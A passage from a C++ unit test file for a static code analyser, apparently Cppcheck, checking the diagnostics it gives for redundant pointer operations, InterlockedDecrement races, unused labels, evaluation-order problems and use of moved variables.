[passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", 